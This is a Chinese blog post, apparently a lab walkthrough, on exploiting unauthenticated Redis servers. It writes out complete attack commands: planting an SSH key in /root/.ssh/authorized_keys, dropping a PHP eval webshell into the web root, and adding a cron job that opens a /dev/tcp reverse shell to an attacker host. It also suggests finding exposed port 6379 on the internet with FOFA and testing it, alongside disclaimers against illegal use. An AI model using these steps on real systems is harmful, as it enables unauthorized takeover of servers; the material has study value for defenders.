当前位置:网站首页>redis未授权访问(4-unacc)
redis未授权访问(4-unacc)
2022-08-02 03:25:00 【CHIAJ176】
声明:
禁止任何违法行为,任何违法行为与博主无关。旨在发散思维。
实验:
靶机:ubuntu(远程服务器)、攻击机(wsl2 kali)
扫描端口
使用massan快速扫描端口
发现存在6379端口,猜测这应该是redis服务
果不其然是redis服务端口
redis-cli -h 目标ip地址
从上图可以直接看到可以直接连接redis,并返回redis服务信息
这就是妥妥的redis未授权访问!
漏洞利用
利用姿势1,redis写入ssh公钥,获取操作系统权限
注意:docker环境利用失败,修改起来十分麻烦。因此利用未使用docker搭建的环境。
首先生成ssh私钥和公钥
在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
接下来在redis-cli的交互式shell下执行
config set dir /root/.ssh
config set dbfilename "authorized_keys"
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i id_rsa [email protected]
生成ssh私钥和公钥
通过redis未授权漏洞向靶机导入秘钥
ssh通过秘钥连接
写文件GetShell
写入一个string内容 set shell "<?php @eval($_POST['cmd']);?>" 设置备份目录 config set dir /var/www/html/ 设置备份文件名 config set dbfilename shell.php 保存文件到本地 save
通过redis未授权访问向网址存放webshell
成功写入文件
通过蚁剑连接
反弹shell
和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是test用户 set dbfilename test
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击者ip/监听端口 0>&1\n\n" config set dir /var/spool/cron/ config set dbfilename root save
登陆ubuntu查看计划任务,已经成功写入。但是发现计划中存在乱码,也就是这些乱码导致计划任务执行错误。这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。
之后在攻击者上监听,就能接收到反弹shell
原理:
俗话说:授人以鱼不如授人以渔。后序会写漏洞原理。
思考:
知道redis端口为6379,那么我们可以尝试在fofa上查找有哪些6379端口是开放的,并尝试一下是否存在未授权访问!
fofa查询端口6379:port="6379"
redis-cli连接一下,info查看。。。这就是妥妥的未授权访问!禁止违法行为!
未授权禁止利用!
参阅:渗透测试-Redis未授权访问漏洞之ubuntu反弹shell问题 - websec80 - 博客园 (cnblogs.com)
边栏推荐
- (6) 学生信息管理系统设计
- ES6 array extension methods map, filter, reduce, fill and array traversal for…in for…of arr.forEach
- 文件上传漏洞
- PHP realizes the automatic reverse search prompt of the search box
- Praying: 1 vulnhub walkthrough
- Add a full image watermark to an image in PHP
- Kali install IDEA
- (3) 字符串
- CSRF(跨站请求伪造)
- hackmyvm: controller walkthrough
猜你喜欢
hackmyvm-hopper预排
(3) Thinkphp6 database
The learning path of a network security mouse - the basic use of nmap
攻防世界—MISC 新手区1-12
GreenOptic: 1 vulnhub walkthrough
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝
(1) the print () function, escape character, binary and character encoding, variables, data type, the input () function, operator
(2) Sequence structures, Boolean values of objects, selection structures, loop structures, lists, dictionaries, tuples, sets
Introduction to PHP (self-study notes)
CTF入门之php文件包含
随机推荐
GreenOptic: 1 vulnhub walkthrough
ES6 array extension methods map, filter, reduce, fill and array traversal for…in for…of arr.forEach
What will be new in PHP8.2?
hackmyvm: juggling walkthrough
(6) Design of student information management system
hackmyvm-bunny walkthrough
Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
[symfony/mailer] An elegant and easy-to-use mail library
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
ES6 iterator explanation example
Phonebook
动力:2 vulnhub预排
一个网络安全小白鼠的学习之路——nmap的基本使用
DVWA drone installation tutorial
1.初识PHP
easyswoole uses redis to perform geoRadiusByMember Count invalid fix
命令执行漏洞
Eric target penetration test complete tutorial
4.表单与输入